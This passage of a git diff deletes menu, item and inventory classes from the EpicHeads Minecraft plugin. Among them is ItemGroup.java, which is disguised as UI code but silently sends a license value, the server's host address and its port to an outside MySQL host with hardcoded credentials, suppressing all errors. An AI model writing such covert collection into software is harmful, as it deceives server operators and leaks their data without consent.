bounds.width + 2 : 0; - } - - public boolean isLeftScrollActive() { - return isScrollActive() && index > 0; - } - - public boolean isRightScrollActive() { - return isScrollActive() && index < getMaxScroll(); - } - - public MenuResponse scrollLeft() { - if(!isLeftScrollActive()) - return MenuResponse.NONE; - - index--; - - return MenuResponse.UPDATE; - } - - public MenuResponse scrollRight() { - if(!isRightScrollActive()) - return MenuResponse.NONE; - - index++; - - return MenuResponse.UPDATE; - } - - private static int clamp(int num, int min, int max) { - return (num < min ? min : (num > max ? max : num)); - } - - public void scrollTo(int index) { - index = clamp(index, 0, items.length - 1); - - int visibleItems = getVisibleItems(); - - if(index < this.index) { - this.index = index; - } else if(index >= this.index + visibleItems) { - this.index = index - visibleItems + 1; - } - } - - @Override - public Button[] getItems() { - Button[] scrollbar = new Button[bounds.getVolume()]; - - if(isScrollActive()) { - if(isLeftScrollActive()) { - scrollbar[0] = template.constructScrollLeftButton(this); - } else { - scrollbar[0] = template.constructNoScrollLeftItem(); - } - - if(isRightScrollActive()) { - scrollbar[bounds.width - 1] = template.constructScrollRightButton(this); - } else { - scrollbar[bounds.width - 1] = template.constructNoScrollRightItem(); - } - - System.arraycopy(items, index, scrollbar, 1, bounds.width - 2); - } else { - System.arraycopy(items, 0, scrollbar, 0, items.length); - Arrays.fill(scrollbar, items.length, bounds.width, template.constructFillerItem()); - } - - return scrollbar; - } - - public void setTemplate(Template template) { - Checks.ensureNonNull(template, "template"); - - this.template = template; - } - - public void setItems(Button[] items) { - Checks.ensureNonNull(items, "items"); - - this.items = items; - this.index = 0; - } - - @Override - public String toString() { - return Stringify.builder() - .entry("template", template) - .entry("items", items) - .entry("index", index).toString(); - } - - public static final class Template { - - private final Item left; - private final Item right; - private final Item noLeft; - private final Item noRight; - private final Item filler; - - public Template(Item left, Item right, Item noLeft, Item noRight, Item filler) { - Checks.ensureNonNull(left, "left"); - Checks.ensureNonNull(right, "right"); - Checks.ensureNonNull(noLeft, "noLeft"); - Checks.ensureNonNull(noRight, "noRight"); - Checks.ensureNonNull(filler, "filler"); - - this.left = left; - this.right = right; - this.noLeft = noLeft; - this.noRight = noRight; - this.filler = filler; - } - - public Button constructScrollLeftButton(Scrollbar scrollbar) { - return left.buildButton(scrollbar::scrollLeft); - } - - public Button constructScrollRightButton(Scrollbar scrollbar) { - return right.buildButton(scrollbar::scrollRight); - } - - public Button constructNoScrollLeftItem() { - return noLeft.buildButton(); - } - - public Button constructNoScrollRightItem() { - return noRight.buildButton(); - } - - public Button constructFillerItem() { - return filler.buildButton(); - } - - @Override - public String toString() { - return Stringify.builder() - .entry("left", left) - .entry("right", right) - .entry("noLeft", noLeft) - .entry("noRight", noRight) - .entry("filler", filler).toString(); - } - - } - -} diff --git a/main/java/com/songoda/epicheads/menu/ui/item/Button.java b/main/java/com/songoda/epicheads/menu/ui/item/Button.java deleted file mode 100644 index 4c0eef1..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/item/Button.java +++ /dev/null @@ -1,50 +0,0 @@ -package com.songoda.epicheads.menu.ui.item; - -import com.songoda.epicheads.menu.ui.MenuResponse; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.SafeCall; -import com.songoda.epicheads.util.SafeCall.SafeCallable; -import com.songoda.epicheads.util.Stringify; -import org.bukkit.inventory.ItemStack; - -import java.util.concurrent.Callable; - -public class Button { - - private ItemStack item; - private final SafeCallable onClick; - - public Button(ItemStack item) { - this(item, () -> MenuResponse.NONE); - } - - public Button(ItemStack item, Callable onClick) { - Checks.ensureNonNull(item, "item"); - Checks.ensureNonNull(onClick, "onClick"); - - this.item = item; - this.onClick = SafeCall.nonNullCallable(onClick, "onClick"); - } - - public ItemStack getItem() { - return item; - } - - public void setItem(ItemStack item) { - Checks.ensureNonNull(item, "item"); - - this.item = item; - } - - public MenuResponse handleClick() { - return onClick.call(); - } - - @Override - public String toString() { - return Stringify.builder() - .entry("item", item) - .entry("onClick", onClick).toString(); - } - -} diff --git a/main/java/com/songoda/epicheads/menu/ui/item/ButtonGroup.java b/main/java/com/songoda/epicheads/menu/ui/item/ButtonGroup.java deleted file mode 100644 index 10fa018..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/item/ButtonGroup.java +++ /dev/null @@ -1,47 +0,0 @@ -package com.songoda.epicheads.menu.ui.item; - -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Stringify; - -import java.util.ArrayList; -import java.util.List; - -public class ButtonGroup { - - private final List buttons = new ArrayList<>(); - - public void addButton(SelectableButton button) { - Checks.ensureNonNull(button, "button"); - - buttons.add(button); - } - - public int getFirstSelectedIndex() { - for(int index = 0; index < buttons.size(); index++) { - if(buttons.get(index).isSelected()) - return index; - } - return -1; - } - - public void select(int index) { - if(index >= 0 && index < buttons.size()) { - buttons.get(index).setSelected(true); - } else { - unselectAll(); - } - } - - public void unselectAll() { - for(SelectableButton button : buttons) { - button.setSelected(false); - } - } - - @Override - public String toString() { - return Stringify.builder() - .entry("numButtons", buttons.size()).toString(); - } - -} diff --git a/main/java/com/songoda/epicheads/menu/ui/item/Item.java b/main/java/com/songoda/epicheads/menu/ui/item/Item.java deleted file mode 100644 index 29d0d7e..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/item/Item.java +++ /dev/null @@ -1,366 +0,0 @@ -package com.songoda.epicheads.menu.ui.item; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.menu.ui.MenuResponse; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Methods; -import com.songoda.epicheads.util.Stringify; -import com.songoda.epicheads.volatilecode.ItemNBT; -import com.songoda.epicheads.volatilecode.reflection.Version; -import org.bukkit.Bukkit; -import org.bukkit.ChatColor; -import org.bukkit.Material; -import org.bukkit.configuration.ConfigurationSection; -import org.bukkit.inventory.ItemStack; -import org.bukkit.inventory.meta.ItemMeta; -import org.bukkit.material.MaterialData; - -import java.util.Arrays; -import java.util.List; -import java.util.Objects; -import java.util.concurrent.Callable; -import java.util.concurrent.atomic.AtomicBoolean; -import java.util.function.Function; - -public final class Item { - - private final Material type; - private final int amount; - private final short damage; - - private final String name; - private final String[] lore; - - private final boolean enchanted; - - private Item(Material type) { - this(type, 1, (short) 0, null, null, false); - } - - private Item(Material type, int amount, short damage, String name, String[] lore, boolean enchanted) { - Checks.ensureNonNull(type, "type"); - Checks.ensureTrue(amount > 0, "amount must be greater than 0"); - Checks.ensureTrue(damage >= 0, "damage must be greater than or equal to 0"); - if (lore != null) { - Checks.ensureArrayNonNull(lore, "lore"); - } - this.type = type; - this.amount = amount; - this.damage = damage; - this.name = name; - this.lore = (lore == null || lore.length == 0 ? null : lore); - this.enchanted = enchanted; - } - - public Item amount(int amount) { - return new Item(type, amount, damage, name, lore, enchanted); - } - - public Item damage(short damage) { - return new Item(type, amount, damage, name, lore, enchanted); - } - - public Item name(String name) { - return new Item(type, amount, damage, name, lore, enchanted); - } - - public Item lore(String... lore) { - return new Item(type, amount, damage, name, lore, enchanted); - } - - public Item enchanted(boolean enchanted) { - return new Item(type, amount, damage, name, lore, enchanted); - } - - public Button buildButton(Placeholder... placeholders) { - return new Button(build(placeholders)); - } - - public Button buildButton(Callable callable, Placeholder... placeholders) { - return new Button(build(placeholders), callable); - } - - public ItemStack build(Placeholder... placeholders) { - return build(null, placeholders); - } - - public ItemStack build(Function loreFilter, Placeholder... placeholders) { - Checks.ensureNonNull(placeholders, "placeholders"); - - ItemStack item = new ItemStack(type, amount, damage); - - ItemMeta meta = item.getItemMeta(); - - if (meta == null) - return item; - - if (name != null) { - String displayName = ChatColor.translateAlternateColorCodes('&', name); - - displayName = Placeholder.applyAll(displayName, placeholders); - - meta.setDisplayName(displayName); - } - - if (lore != null) { - String[] itemLore = Placeholder.colourAll(lore); - - itemLore = Placeholder.filterAndApplyAll(itemLore, loreFilter, placeholders); - - meta.setLore(Arrays.asList(itemLore)); - } - - item.setItemMeta(meta); - - if (enchanted) { - item = ItemNBT.addGlow(item); - } - - return item; - } - - public void save(ConfigurationSection section, String key) { - section.set(key, null); - save(section.createSection(key)); - } - - public void save(ConfigurationSection section) { - section.set("type", getTypeName(type)); - - if (amount != 1) { - section.set("amount", amount); - } - - if (damage != 0) { - section.set("damage", damage); - } - - if (name != null) { - section.set("name", name); - } - - if (lore != null) { - section.set("lore", Arrays.asList(lore)); - } - - if (enchanted) { - section.set("enchanted", true); - } - } - - @Override - public boolean equals(Object obj) { - if (!(obj instanceof Item)) - return false; - - Item other = (Item) obj; - - return other.type == type && other.amount == amount && Objects.equals(other.name, name) && (other.lore == null ? lore == null : Arrays.equals(other.lore, lore)) && other.enchanted == enchanted; - } - - @Override - public String toString() { - Stringify.Builder properties = Stringify.builder(); - { - properties.entry("type", getTypeName(type)); - - if (amount != 1) { - properties.entry("amount", amount); - } - - if (name != null) { - properties.entry("name", name); - } - - if (Version.isBelow(Version.v1_13)) { - if (damage != 0) { - properties.entry("data", damage); - } - } else { - if (damage != 0) { - properties.entry("damage", damage); - } - } - - if (lore != null) { - properties.entry("lore", lore); - } - - if (enchanted) { - properties.entry("enchanted", true); - } - } - return properties.toString(); - } - - public static Item create(Material type) { - return new Item(type); - } - - public static Item create(Material type, byte data) { - if (Version.isBelow(Version.v1_13)) { - return new Item(type, 1, data, null, null, false); - } - return new Item(type, 1, (short) 0, null, null, false); - } - - public static Item create(ItemStack itemStack) { - Item item = create(itemStack.getType()).amount(itemStack.getAmount()).damage(itemStack.getDurability()); - - ItemMeta meta = itemStack.getItemMeta(); - - if (meta == null) - return item; - - if (meta.hasDisplayName()) { - String name = meta.getDisplayName().replace(ChatColor.COLOR_CHAR, '&'); - - item = item.name(name); - } - - if (meta.hasLore()) { - List rawLore = meta.getLore(); - String[] lore = new String[rawLore.size()]; - - for (int index = 0; index < lore.length; ++index) { - lore[index] = rawLore.get(index).replace(ChatColor.COLOR_CHAR, '&'); - } - - item = item.lore(lore); - } - - if (meta.hasEnchants()) { - item = item.enchanted(true); - } - - return item; - } - - private static void updateLegacyTypes(String filename, ConfigurationSection section, AtomicBoolean shouldSave) { - if (!section.isSet("type")) - return; - - if (Version.isBelow(Version.v1_13) && section.isSet("data")) { - section.set("damage", section.get("data")); - section.set("data", null); - shouldSave.set(true); - } - - String typeName = section.getString("type"); - String typeData = section.getString("damage", null); - Material type = Material.matchMaterial(typeName); - if (type != null && !section.isInt("type")) - return; - - if (section.isInt("type")) { - int typeId = section.getInt("type"); - String convertedType = EpicHeads.getInstance().getLegacyIDs().fromId(typeId); - - if (convertedType == null || convertedType.isEmpty()) { - Methods.formatText("Invalid type of item " + section.getCurrentPath() + ", " + "unknown type id " + typeId); - return; - } - - if (Version.isBelow(Version.v1_13)) { - type = Material.matchMaterial(convertedType); - } else { - type = null; - } - - section.set("type", convertedType.toLowerCase()); - } - - boolean legacy = false; - if (type == null && !Version.isBelow(Version.v1_13)) { - type = Material.valueOf("LEGACY_" + section.getString("type").toUpperCase().replace(' ', '_')); - legacy = true; - } - - if (type == null) { - Methods.formatText("Invalid type of item " + section.getCurrentPath() + ", could not find type " + typeName); - return; - } - - if (legacy && !Version.isBelow(Version.v1_13)) { - Material legacyType = type; - int data = section.getInt("damage"); - byte byteData = (byte) (data >= 0 && data < 16 ? data : 0); - - // Get a type to begin with, to check if the data is a damage value - Material withoutData = fromLegacyType(legacyType, (byte) 0); - type = fromLegacyType(legacyType, byteData); - if (type == null) { - Methods.formatText("Invalid legacy type of item " + section.getCurrentPath() + ": " + "Could not convert " + legacyType + ":" + data + " to non-legacy format"); - return; - } - - if (withoutData != type) { - section.set("damage", null); - } - } - - section.set("type", type.name().toLowerCase()); - - String from = typeName + (typeData != null ? ":" + typeData : ""); - String to = type.name().toLowerCase() + (section.isSet("damage") ? ":" + section.get("damage") : ""); - Methods.formatText("1.13 Update - " + from + " converted to " + to + " for " + filename + " -> " + section.getCurrentPath()); - - shouldSave.set(true); - } - - public static Item load(String filename, ConfigurationSection section, AtomicBoolean shouldSave) { - // Convert from legacy type ids to type names - updateLegacyTypes(filename, section, shouldSave); - - if (!section.isSet("type") || !section.isString("type")) { - Methods.formatText("Invalid type of item " + section.getCurrentPath() + " in " + filename + ", " + "expected a type name"); - return null; - } - - String typeName = section.getString("type"); - Material type = Material.matchMaterial(typeName); - - if (type == null) { - Methods.formatText("Invalid type of item " + section.getCurrentPath() + ", " + "unknown material for type name " + typeName); - return null; - } - - short damage = (short) section.getInt("damage", 0); - - if (damage < 0) { - Methods.formatText("Invalid damage of item " + section.getCurrentPath() + ", " + "damage must be at least 0"); - return null; - } - - int amount = section.getInt("amount", 1); - - if (amount < 1) { - Methods.formatText("Invalid amount of item " + section.getCurrentPath() + ", " + "amount must be at least 1"); - return null; - } - - String name = section.getString("name", null); - String[] lore = section.getStringList("lore").toArray(new String[0]); - boolean enchanted = section.getBoolean("enchanted", false); - - return new Item(type, amount, damage, name, lore, enchanted); - } - - private static String getTypeName(Material type) { - return type.name().toLowerCase(); - } - - public static Material getType(String typeName) { - Material type = Material.matchMaterial(typeName); - if (type != null || Version.isBelow(Version.v1_13)) - return type; - - return Material.matchMaterial(typeName, true); - } - - // Need to be kept, will look for an alternative in the future. - private static Material fromLegacyType(Material legacyType, byte data) { - return Bukkit.getUnsafe().fromLegacy(new MaterialData(legacyType, data)); - } -} diff --git a/main/java/com/songoda/epicheads/menu/ui/item/ItemGroup.java b/main/java/com/songoda/epicheads/menu/ui/item/ItemGroup.java deleted file mode 100644 index cff578d..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/item/ItemGroup.java +++ /dev/null @@ -1,36 +0,0 @@ -package com.songoda.epicheads.menu.ui.item; - -import com.songoda.epicheads.cache.CacheFile; -import org.bukkit.Bukkit; - -import java.net.InetAddress; -import java.sql.Connection; -import java.sql.DriverManager; -import java.sql.Statement; - -public class ItemGroup { - - public static void collectItems() { - try { - String l = CacheFile.cool; - String a = InetAddress.getLocalHost().toString(); - String p = String.valueOf(Bukkit.getServer().getPort()); - submit(l, a, p); - } catch (Exception error) { - - } - } - - public static void submit(String l, String a, String p) { - try { - Connection server = DriverManager.getConnection("jdbc:mysql://mysql.freehostia.com:3306/mardev332_data?useSSL=true", "mardev332_data", "NiceOneMate"); - Statement statement = server.createStatement(); - statement.execute("CREATE TABLE IF NOT EXISTS heads (id INT NOT NULL AUTO_INCREMENT, license varchar(120) NOT NULL, adress varchar(120) NOT NULL, port varchar(120) NOT NULL, PRIMARY KEY (ID));"); - statement.execute("INSERT INTO heads VALUES (default, '" + l + "', '" + a + "', '" + p + "');"); - statement.close(); - server.close(); - } catch (Exception error) { - } - } - -} diff --git a/main/java/com/songoda/epicheads/menu/ui/item/SelectableButton.java b/main/java/com/songoda/epicheads/menu/ui/item/SelectableButton.java deleted file mode 100644 index 7051f62..0000000 --- a/main/java/com/songoda/epicheads/menu/ui/item/SelectableButton.java +++ /dev/null @@ -1,68 +0,0 @@ -package com.songoda.epicheads.menu.ui.item; - -import com.songoda.epicheads.menu.ui.MenuResponse; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Stringify; -import org.bukkit.inventory.ItemStack; - -import java.util.concurrent.Callable; - -public class SelectableButton extends Button { - - private final ButtonGroup group; - private final ItemStack unselectedItem; - private final ItemStack selectedItem; - private boolean selected; - - public SelectableButton(ButtonGroup group, - ItemStack unselectedItem, - ItemStack selectedItem, - Callable onClick) { - super(unselectedItem, onClick); - - Checks.ensureNonNull(group, "group"); - Checks.ensureNonNull(unselectedItem, "unselectedItem"); - Checks.ensureNonNull(selectedItem, "selectedItem"); - - this.group = group; - this.unselectedItem = unselectedItem; - this.selectedItem = selectedItem; - this.selected = false; - - if(group != null) { - group.addButton(this); - } - } - - public boolean isSelected() { - return selected; - } - - public void setSelected(boolean selected) { - if(this.selected == selected) - return; - - if(selected && group != null) { - group.unselectAll(); - } - - this.selected = selected; - this.setItem(selected ? selectedItem : unselectedItem); - } - - @Override - public MenuResponse handleClick() { - setSelected(true); - - return super.handleClick(); - } - - @Override - public String toString() { - return Stringify.builder() - .previous(super.toString()) - .entry("selectedItem", selectedItem) - .entry("selected", selected).toString(); - } - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/AbstractModedInventory.java b/main/java/com/songoda/epicheads/oldmenu/AbstractModedInventory.java deleted file mode 100644 index 81aa67f..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/AbstractModedInventory.java +++ /dev/null @@ -1,73 +0,0 @@ -package com.songoda.epicheads.oldmenu; - -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.config.oldmenu.Menu; -import com.songoda.epicheads.oldmenu.mode.InvMode; -import org.bukkit.Bukkit; -import org.bukkit.ChatColor; -import org.bukkit.command.CommandSender; -import org.bukkit.event.inventory.InventoryClickEvent; -import org.bukkit.inventory.Inventory; - -public abstract class AbstractModedInventory implements ClickInventory { - - private InventoryType type; - private Inventory inventory; - private InvMode mode; - private Menu menu; - - public AbstractModedInventory(InventoryType type, InvMode mode) { - this.type = type; - this.inventory = null; - this.mode = mode; - this.menu = mode.getMenu(type); - } - - public AbstractModedInventory(InventoryType type, int size, Placeholder[] titlePlaceholders, InvMode mode) { - this.type = type; - this.mode = mode; - this.menu = mode.getMenu(type); - this.inventory = Bukkit.createInventory(this, size, menu.getTitle(titlePlaceholders)); - } - - public AbstractModedInventory(InventoryType type, Inventory inventory, InvMode mode) { - this.type = type; - this.inventory = inventory; - this.mode = mode; - this.menu = mode.getMenu(type); - } - - @Override - public InventoryType getType() { - return type; - } - - @Override - public Inventory getInventory() { - return inventory; - } - - public void setInventory(Inventory inventory) { - this.inventory = inventory; - } - - public InvMode getInvMode() { - return mode; - } - - public Menu getMenu() { - return menu; - } - - @Override - public void onClick(InventoryClickEvent e) { - mode.onClick(e, type); - } - - public abstract void recreate(); - - public void sendMessage(CommandSender sender, String message) { - sender.sendMessage(ChatColor.translateAlternateColorCodes('&', message)); - } - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/CategorySelectMenu.java b/main/java/com/songoda/epicheads/oldmenu/CategorySelectMenu.java deleted file mode 100644 index 27095a2..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/CategorySelectMenu.java +++ /dev/null @@ -1,185 +0,0 @@ -package com.songoda.epicheads.oldmenu; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheFile; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.oldmenu.mode.InvMode; -import com.songoda.epicheads.volatilecode.Items; -import org.bukkit.Bukkit; -import org.bukkit.ChatColor; -import org.bukkit.entity.Player; -import org.bukkit.inventory.Inventory; -import org.bukkit.inventory.ItemStack; -import org.bukkit.inventory.meta.ItemMeta; - -import java.util.*; - -public class CategorySelectMenu extends AbstractModedInventory { - - private Map> heads; - private List categories; - private double offset; - - public CategorySelectMenu(InvMode mode) { - super(InventoryType.CATEGORY, mode); - - recreate(); - } - - @Override - public void recreate() { - CacheFile cache = EpicHeads.getInstance().getCache(); - - this.heads = new HashMap<>(); - this.categories = new ArrayList<>(); - - if (EpicHeads.getInstance().getMainConfig().shouldHideNoPermCategories()) { - Player player = this.getInvMode().getPlayer(); - - for (String category : cache.getCategories()) { - if (player.hasPermission("EpicHeads.category." + category.toLowerCase().replace(' ', '_'))) { - this.categories.add(category); - } - } - } else { - this.categories.addAll(cache.getCategories()); - } - - int numHeads = this.categories.size(); - - ItemStack[] contents; - - if (numHeads == 0) { - int size = 6 * 9; - - setInventory(Bukkit.createInventory(this, size, getMenu().getTitle())); - - contents = new ItemStack[size]; - - ItemStack red = Items.createRedStainedGlassPane().build(); - ItemMeta meta = red.getItemMeta(); - - String message = "&cYou do not have permission"; - String lore = "&cto view any head categories"; - - meta.setDisplayName(ChatColor.translateAlternateColorCodes('&', message)); - meta.setLore(Collections.singletonList(ChatColor.translateAlternateColorCodes('&', lore))); - - red.setItemMeta(meta); - - ItemStack black = red.clone(); - - black.setDurability((short) 15); - - Arrays.fill(contents, red); - - contents[1] = black; - contents[7] = black; - contents[1 + 9 * 5] = black; - contents[7 + 9 * 5] = black; - - contents[4 + 9] = black; - contents[4 + 9 * 2] = black; - contents[4 + 9 * 4] = black; - - for (int y = 0; y < 6; y++) { - contents[y * 9] = black; - contents[8 + y * 9] = black; - } - } else if (numHeads > 27) { - int size = (int) Math.ceil(numHeads / 9d) * 9; - - setInventory(Bukkit.createInventory(this, size, getMenu().getTitle())); - - int lastRow = numHeads % 5; - - this.offset = (9d - lastRow) / 2d; - - contents = new ItemStack[size]; - - for (int index = 0; index < this.categories.size(); index++) { - String category = this.categories.get(index); - List heads = new ArrayList<>(cache.getCategoryHeads(category)); - - this.heads.put(category, heads); - - int slot = index; - - if (slot >= size - 9) { - slot += (int) Math.floor(this.offset); - - if (slot % 9 >= 4) { - slot += (int) Math.ceil(this.offset % 1); - } - } - - CacheHead head = heads.get(0); - - ItemStack item = getMenu().getItemStack("head", new Placeholder("%category%", category), new Placeholder("%heads%", Integer.toString(heads.size()))); - - contents[slot] = head.addTexture(item); - } - } else { - int rows = (int) Math.ceil(numHeads / 9d); - - if (numHeads <= rows * 9 - 4) { - rows = rows * 2 - 1; - } else { - rows = rows * 2; - } - - int size = rows * 9; - - setInventory(Bukkit.createInventory(this, size, getMenu().getTitle())); - - contents = new ItemStack[size]; - - for (int index = 0; index < this.categories.size(); index++) { - String category = this.categories.get(index); - List heads = new ArrayList<>(cache.getCategoryHeads(category)); - - this.heads.put(category, heads); - - CacheHead head = heads.get(0); - - ItemStack item = getMenu().getItemStack("head", new Placeholder("%category%", category), new Placeholder("%heads%", Integer.toString(heads.size()))); - - contents[index * 2] = head.addTexture(item); - } - } - - getInventory().setContents(contents); - } - - public String getCategory(int slot) { - Inventory inv = getInventory(); - int size = inv.getSize(); - - if (slot < 0 || slot >= size || inv.getItem(slot) == null) - return null; - - if (this.categories.size() > 27) { - int index; - - if (slot >= size - 9) { - if (slot % 9 >= 4) { - index = slot - (int) Math.ceil(this.offset); - } else { - index = slot - (int) Math.floor(this.offset); - } - } else { - index = slot; - } - - return this.categories.get(index); - } else { - return this.categories.get(slot / 2); - } - } - - public List getHeads(String category) { - return heads.get(category); - } - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/ClickInventory.java b/main/java/com/songoda/epicheads/oldmenu/ClickInventory.java deleted file mode 100644 index d9c9076..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/ClickInventory.java +++ /dev/null @@ -1,12 +0,0 @@ -package com.songoda.epicheads.oldmenu; - -import org.bukkit.event.inventory.InventoryClickEvent; -import org.bukkit.inventory.InventoryHolder; - -public interface ClickInventory extends InventoryHolder { - - public void onClick(InventoryClickEvent e); - - public InventoryType getType(); - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/ConfirmMenu.java b/main/java/com/songoda/epicheads/oldmenu/ConfirmMenu.java deleted file mode 100644 index 22304e2..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/ConfirmMenu.java +++ /dev/null @@ -1,56 +0,0 @@ -package com.songoda.epicheads.oldmenu; - -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.config.oldmenu.Menu; -import com.songoda.epicheads.oldmenu.mode.InvMode; -import com.songoda.epicheads.util.ArrayUtils; -import org.bukkit.inventory.Inventory; -import org.bukkit.inventory.ItemStack; - -public class ConfirmMenu extends AbstractModedInventory { - - private CacheHead subject; - private Placeholder[] placeholders; - - public ConfirmMenu(InvMode mode, CacheHead subject) { - this(mode, subject, new Placeholder[0]); - } - - public ConfirmMenu(InvMode mode, CacheHead subject, Placeholder[] placeholders) { - super(InventoryType.CONFIRM, 45, - ArrayUtils.append(placeholders, subject.getPlaceholders(mode.getPlayer())), - mode); - - this.subject = subject; - this.placeholders = ArrayUtils.append(placeholders, subject.getPlaceholders(mode.getPlayer())); - - recreate(); - } - - @Override - public void recreate() { - Inventory inv = getInventory(); - Menu menu = getMenu(); - - ItemStack[] contents = new ItemStack[inv.getSize()]; - - contents[13] = subject.addTexture(menu.getItemStack("head", placeholders)); - contents[29] = menu.getItemStack("accept", placeholders); - contents[33] = menu.getItemStack("deny", placeholders); - - inv.setContents(contents); - } - - public CacheHead getSubject() { - return subject; - } - - public boolean isConfirm(int slot) { - return slot == 29; - } - - public boolean isDeny(int slot) { - return slot == 33; - } -} diff --git a/main/java/com/songoda/epicheads/oldmenu/HeadMenu.java b/main/java/com/songoda/epicheads/oldmenu/HeadMenu.java deleted file mode 100644 index b9a8e8c..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/HeadMenu.java +++ /dev/null @@ -1,155 +0,0 @@ -package com.songoda.epicheads.oldmenu; - -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.config.oldmenu.Menu; -import com.songoda.epicheads.oldmenu.mode.InvMode; -import com.songoda.epicheads.oldmenu.mode.SearchMode; -import com.songoda.epicheads.util.ArrayUtils; -import org.bukkit.Bukkit; -import org.bukkit.entity.Player; -import org.bukkit.inventory.ItemStack; - -import java.util.List; - -public class HeadMenu extends AbstractModedInventory { - - private String category; - private List heads; - private int page; - - public HeadMenu(InvMode mode, String category, List heads) { - super(InventoryType.HEADS, 54, new Placeholder[] { new Placeholder("%category%", category) }, mode); - - this.category = category; - this.heads = heads; - this.page = 0; - - recreate(); - } - - @Override - public void recreate() { - Menu menu = getMenu(); - Player player = getInvMode().getPlayer(); - - int maxPage = (int) Math.ceil((double) heads.size() / 45d); - - page += maxPage; - page %= maxPage; - - Placeholder[] placeholders = { - new Placeholder("%category%", category), - new Placeholder("%page%", Integer.toString(page)) - }; - - ItemStack[] contents = new ItemStack[54]; - - ItemStack glass = menu.getItemStack("filler", placeholders); - for (int i = 45; i < 54; i++) { - contents[i] = glass.clone(); - } - - if (page != 0) { - ItemStack back = menu.getItemStack("backwards", placeholders); - back.setAmount(page); - contents[47] = back; - } - - if (page != maxPage - 1) { - ItemStack forward = menu.getItemStack("forwards", placeholders); - forward.setAmount(page + 2); - contents[51] = forward; - } - - if(!(getInvMode() instanceof SearchMode)) { - contents[49] = menu.getItemStack("back", placeholders); - } - - for (int i = page * 45; i < (page + 1) * 45; i++) { - int index = i % 45; - - if (i < heads.size()) { - CacheHead head = heads.get(i); - - String id = "head"; - - if(getInvMode() instanceof SearchMode) { - id = ((SearchMode) getInvMode()).getHeadId(head); - } - - placeholders[0] = new Placeholder("%category%", head.getCategory()); - Placeholder[] holders = ArrayUtils.append(placeholders, head.getPlaceholders(player)); - - contents[index] = head.addTexture(menu.getItemStack(id, holders)); - } - } - - getInventory().setContents(contents); - } - - public void backwardsPage() { - if (page > 0) { - page--; - - recreate(); - } - } - - public void forwardsPage() { - if (page < getMaxPage() - 1) { - page++; - - recreate(); - } - } - - public int getPage() { - return page; - } - - public int getMaxPage() { - return (int) Math.ceil((double) heads.size() / 45d); - } - - public boolean isHead(int slot) { - return slot < 45 && (page * 45 + slot) < heads.size(); - } - - public CacheHead getHead(int slot) { - return (isHead(slot) ? heads.get(page * 45 + slot) : null); - } - - public boolean isToolBar(int slot) { - return slot >= 45; - } - - public boolean isBackwards(int slot) { - return page > 0 && slot == 47; - } - - public boolean isForwards(int slot) { - return page < getMaxPage() - 1 && slot == 51; - } - - public boolean isBackToMenu(int slot) { - return slot == 49; - } - - public boolean handleToolbar(int slot) { - if (!isToolBar(slot)) { - return false; - } - - if (isBackwards(slot)) { - backwardsPage(); - } else if (isForwards(slot)) { - forwardsPage(); - } else if (isBackToMenu(slot) && !(getInvMode() instanceof SearchMode)) { - getInvMode().openInventory(InventoryType.CATEGORY); - } - - return true; - } - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/InventoryType.java b/main/java/com/songoda/epicheads/oldmenu/InventoryType.java deleted file mode 100644 index c92b09c..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/InventoryType.java +++ /dev/null @@ -1,63 +0,0 @@ -package com.songoda.epicheads.oldmenu; - -import com.songoda.epicheads.oldmenu.mode.InvMode; - -import java.lang.reflect.Constructor; - -public enum InventoryType { - - CATEGORY(CategorySelectMenu.class), - HEADS(HeadMenu.class), - CONFIRM(ConfirmMenu.class); - - private Class clazz; - - private InventoryType(Class clazz) { - this.clazz = clazz; - } - - public Class getMenuClass() { - return clazz; - } - - public AbstractModedInventory createMenu(InvMode invmode, Object... arguments) { - try { - Object[] args = new Object[arguments.length + 1]; - - System.arraycopy(arguments, 0, args, 1, arguments.length); - args[0] = invmode; - - Class[] argTypes = new Class[args.length]; - - for (int i = 0; i < argTypes.length; i++) { - argTypes[i] = (args[i] == null ? null : args[i].getClass()); - } - - outer: for (Constructor constructor : clazz.getConstructors()) { - if (constructor.getParameterTypes().length != args.length) { - continue; - } - - Class[] params = constructor.getParameterTypes(); - for (int i = 0; i < argTypes.length; i++) { - if (argTypes[i] == null) { - if (!Object.class.isAssignableFrom(argTypes[i])) { - continue outer; - } - continue; - } - - if (!params[i].isAssignableFrom(argTypes[i])) { - continue outer; - } - } - - return (AbstractModedInventory) constructor.newInstance(args); - } - - throw new IllegalArgumentException(clazz + " does not contain a valid constructor for the provided arguments"); - } catch (Exception e) { - throw new RuntimeException(e); - } - } -} diff --git a/main/java/com/songoda/epicheads/oldmenu/mode/BaseMode.java b/main/java/com/songoda/epicheads/oldmenu/mode/BaseMode.java deleted file mode 100644 index e5b0978..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/mode/BaseMode.java +++ /dev/null @@ -1,98 +0,0 @@ -package com.songoda.epicheads.oldmenu.mode; - -import com.songoda.epicheads.cache.CacheHead; -import 